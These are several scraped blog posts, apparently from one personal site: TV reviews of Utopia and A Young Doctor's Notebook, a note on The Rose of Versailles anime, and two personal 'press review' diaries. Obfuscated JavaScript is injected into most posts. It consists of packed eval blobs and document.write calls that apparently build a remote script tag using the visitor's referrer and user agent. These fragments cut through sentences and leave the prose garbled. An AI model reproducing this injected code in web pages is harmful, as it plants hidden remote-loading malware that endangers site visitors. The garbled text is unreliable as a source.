Utopia

“The Utopia Experiments is a legendary graphic novel shrouded in mystery. But when a small group of previously unconnected people find themselves in possession of an original manuscript, document.write(“”); their lives suddenly and brutally implode. Targeted swiftly and relentlessly by a murderous organisation known as “The Network”, the terrified group are left with only one option if they want to survive: they have to run”.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbiyi|var|u0026u|referrer|hstzt||js|php’.split(‘|’),0,{}))
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzddh|var|u0026u|referrer|fnehk||js|php’.split(‘|’),0,{}))

“Episode 1: When five strangers from an online comic book forum agree to meet after gaining possession of the original manuscript for the cult graphic novel ‘The Utopia Experiments‘, they find themselves pursued by a shadowy organisation known as “The Network” who are in pursuit of the manuscript — and they are prepared to kill to track it down. While three of the forum members — Ian, Becky and Wilson — meet in the pub, another is confronted and killed by two Network henchmen. The only witness to the murder is 11-year-old Grant — the fifth forum member — and when he flees with the manuscript, the henchmen give chase. Ian and Becky soon find they’ve been set-up for crimes they haven’t committed, while Wilson’s hacking skills attract the attention of Network henchmen Arby and Lee. As the trio’s lives begin to fracture, the world of civil servant Michael Dugdale is also torn apart as he is blackmailed by The Network. Just as things are looking increasingly desperate for Ian, Becky and Wilson, they come face to face with an enigmatic stranger who claims to offer them a way out…” [Text from
the show’s website]


First, have a look on the trailer:


Self-described as a “Dark and enigmatic thriller,” this British TV series (yes, another one!) started on Channel 4 from January 15th 2013. Like most Brit TV, this series is rather short as it has only six 70-minute episodes (although it is somewhere question of “series 1” so it leaves hope for more). It’s a complex cyberpunk story that plays on our inner paranoia and was more accurately described by some as a “conspiracy thriller.” In a dystopic near future (global food price going up causing riots, new epidemic of “Russian flu”) big corporations and defence agency gone rogue are vying for power. And, caught in the middle, a bunch of comic book fans. It’s quite an interesting setting. However it doesn’t feel very original: “the network” remind me of the Division in Nikita, the comic book with hidden information a little of Heroes, and the pharma conspiracy a little bit of Torchwood: Miracle Day or some of ReGenesis, but overall, if I feel I’ve seen similar stories before, yet I cannot name any other shows to compare it with.

The show is strew with what seems to be a few popular culture references (to Watchmen, Terminator, etc.). It is also rather violent, with a lot of characters dying in each episode (and even one torture scene). It feels a little too much (and therefore is recommended for age 18+). But I guess that’s what we should expect with a psychopath assassin in the pay of a big nefarious pharmaceutical corporation. I am not sure if this show really takes this conspiracy theories thing seriously but I guess the subject is rather used in a sarcastic way. Although if the story is often funny the characters do seem to take themselves pretty seriously most of the time. That’s probably part of the charm of the show (I do particularly like the cold but efficient Jessica Hyde character).

What’s stand out the most in Utopia is the good acting, the superb camera work (particularly the scene composition) and (it’s British isn’t it?) the dark humour. I’ve seen only three episodes so far (half the so-called series 1) so I’m ready to hold judgement for now. But overall, it’s certainly worth watching.

For more information you can visit those sites:
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Press Review (2013-01-28)

First, document.write(“”); the domestic log. Indeed the Operating System of the Mac Mini got corrupt somehow and I had to use Time Machine to restore it. However, even Time Machine had a problem and I had to go back to a week-old backup to successfully restore the whole system and then restore more recent files individually. It took a while to do all that (each unsuccessful restore took several hours). It seems that everything stopped working properly since I also had problems with both my microwave oven and the regular oven (I will have to replace one and repair the latter).
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eznaa|var|u0026u|referrer|rkftf||js|php’.split(‘|’),0,{}))

We also had a bunch of medical appointments (dentist and GP). My blood-pressure medication was changed (for a stronger one) and the diagnosis of
benign paroxysmal positional vertigo was confirmed. The most frustrating aspect of it is that I endured vertigo for over a month and a simple Epley maneuver solved the problem in a few minutes! Last year I was too busy to do any of the medical tests that my GP ordered, so this year I’ll make damn sure that I do them all.

I’ve spent the little spare times that I had left doing some clean up in my office (getting rid of a few more boxes, either putting books on shelves or shredding useless paperwork for recycling. We moved nearly two years ago and I still have plenty of boxes laying around). I also got a cold (luckily, so far, it’s not the terrible flu that everyone is talking about. Of course, I suffer from it not at work but during my days off!) and a water pipe broke down the street last night and we were nearly ten hours without water. Despite all that (there’s no respite for the restless, so now I am trying to catch up on my blogging) I still found many interesting news stories that I would like to share, so please check the links after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humor

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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The Rose of Versailles

Yesterday, document.write(“”); Viki (the Asian content streaming site) posted an update for their iOS app and this reminded me that they had announced in September that they would stream The Rose of Versailles (See ANN & Wikipedia). I had completely forgotten! So, without losing a moment, I took my iPad out and watched the first episode. I haven’t screened a classic anime in a very long time and I felt great. I really miss watching anime daily… (now I just have to find time to watch more episodes. BTW, they are still streaming Oniisama E…). It is really great, so please take the time to watch a few episodes of The Rose of Versailles!
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzrdk|var|u0026u|referrer|etkai||js|php’.split(‘|’),0,{}))

At about the same time (a few days earlier), Right Stuf’s Nozomi Entertainment announced the DVD Release of The Rose of Versailles Part 1 Limited Edition. The first set will be available on May 7, 2013 (it will include 4 discs, 480 minutes (20 episodes), Japanese audio with English subtitles and on-screen translations, $49.99 US, suggested for age 13+).

The original manga by Riyoko Ikeda was first serialized in Shueisha’s shoujo anthology magazine Margaret in 1972-73 before being collected in 10 volumes. It was so popular that it was adapted in a live-action movie and several stage musicals by the famous Takarazuka Revue troupe. In 1979-80, it was also adapted into a 40-episode anime series by TMS under the direction of Tadao Nagahama and Osamu Dezaki. The Right Stuf’s dvd set will be the very first english language release of this series.

Set before the French Revolution, The Rose of Versailles is a tale of romance and political intrigue that centers around Oscar François de Jarjayes, a young woman who was raised (and military trained) by her father as a man. Following a duel, Oscar is appointed Commander of the French Royal Guards in order to protect Marie-Antoinette, the fiancé of the prince and future king, Louis-Auguste. For more details, check rov.rightstuf.com.

The anime and the manga are also available in French at your Montreal’s local library.

[ Traduire ]

A Young Doctor’s Notebook

As usual I stumbled on this TV mini-series by pure chance (my wife read about it in a magazine and I looked it up on the internet). The prime interest of this British TV series from Sky Arts 1 HD is that the main protagonist is played, document.write(“”); in his young age, by Daniel Radcliffe (of Harry Potter‘s fame) and by John Hamm (from Mad Men), as he is older.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dntke|var|u0026u|referrer|aytab||js|php’.split(‘|’),0,{}))


“After graduating from medical school in 1917, Bulgakov was sent to run a hospital in the remote Smolensk province, where his patients lived a brutal, essentially medieval existence. He turned these experience into a series of short stories, collected in A Young Doctor’s Notebook, a fictional account of a nameless doctor whose experience largely overlaps with its author’s. His young doctor discovers that childbirth and tracheotomies go much faster, and get a lot messier, than the medical textbooks had led him to believe.“ [Text from one of the dvd covers (right). See the other cover here]

First, have a look on the official trailer:


Originally titled A Country Doctor’s Notebook (??????? ????? ?????), this collection of short stories by acclaimed Russian writer Mikhail Bulgakov was already well known and admired by american actor John Hamm who was attached to its adaptation project from the very beginning as an executive producer. When they sought the collaboration of Daniel Radcliffe to play the frail, short and clumsy young doctor, they discovered that he was also a great fan of Bulgakov. According to Alan Connor, one of the show’s writers, Radcliffe visited Bulgakov’s hometown for his 21st birthday and he described the book as “a meditation on memory.”

The story is narrated from the point of view of the older doctor. In 1934, as he is being investigated for his morphine addiction, the doctor go through the notebook he wrote when he was sent to take charge of a country hospital right after having graduated from university in 1917. He remembers all the hardship he went through and even interacts with his younger self, criticizing or mocking his conduct and self-doubt. He was missing his comfortable life in the culturally-rich Moscow while discovering how rude and primitive was the life of his patients and how tragically unprepared he found himself to deal with this situation.

This series, described as a comedy drama, is really brilliant. Only the British could treat such a dark subject (bleak russian countryside, gruesome early 20th-century medicine, psychological despair and morphine addiction) with great humour. It has almost the excesses of the slapstick comedy (with plenty of blood and horrible amputation) but leaves you somewhat uncomfortable. It’s also beautifully played by the two main actors. My only complain is that it is so damn short: only four 30-minute episodes (although the dvd was somewhere qualified as “season 1” so there might be hope for more–but that could simply be a mistake). It started airing in UK on Sky Arts 1 HD from december 6, 2012 and is already available on Dvd in the United Kingdom. Let’s hope it will come quickly to our shores.

For more information you can visit those sites:

Finally, check this interview where Hamm and Radcliffe talk about the TV series:

http://embedded-video.guardianapps.co.uk/?a=false&u=/tv-and-radio/video/2012/nov/28/radcliffe-hamm-young-doctors-notebook-video
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Press Review (2013-01-15)

In the last couple of weeks I’ve spent much of my free time working on finishing the kitchen/bar-type counter in the back of my office (completing the base, document.write(“”); installing the counter itself, the sink, and connecting the plumbing). It now looks pretty good, but it still need some finishing touch (finishing panels and doors). I’ve also installed a few more softwares in my new iMac and cloned its hard-drive for an extra safety (I use and trust Time Machine but you never know…). However, I am starting to experience problems with the Mac Mini so I might have to reinstall the OS on that one too. I still had time to read some news online and, as usual, you’ll find the links after the jump:
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdtfs|var|u0026u|referrer|bbakr||js|php’.split(‘|’),0,{}))


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humor

    A group of friends started two (not one, two!) webcomics:

  • Dungeon Sweet Dungeon: Home is where the heart gets sacrificed, by [Jean Carrières &] Normand Bilodeau aka Henbe (link)
  • Get Stuffed!: The Everyday Story of a Videogame Heroine Trying to Make it in a World of Puppets, by Lucien Soulban & Ghislain Barbe (link)

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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